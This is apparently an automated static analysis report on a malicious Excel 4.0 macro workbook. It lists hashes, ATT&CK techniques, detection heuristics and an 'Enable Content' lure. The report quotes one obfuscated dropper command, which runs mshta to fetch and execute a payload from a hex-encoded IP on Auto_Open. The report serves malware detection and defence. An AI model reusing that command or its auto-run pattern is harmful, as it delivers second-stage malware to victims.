Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d8815d9fa8a6f722…

MALICIOUS

Office (OLE) / .XLS

65.4 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 2b1bca507b52195cd7142e7bd4dc318f SHA-1: bc4519a13c2971a20c13a241a80a215e8c480e78 SHA-256: d8815d9fa8a6f722e01cdef2f2366d7a0379c96d6c1dfc00068dc1a0b3eef842
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro sheet (XLM) that uses an Auto_Open defined name to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common lure. The extracted XLM macro contains the string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html', which reconstructs to a command that downloads a payload from a URL. This indicates the file's purpose is to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes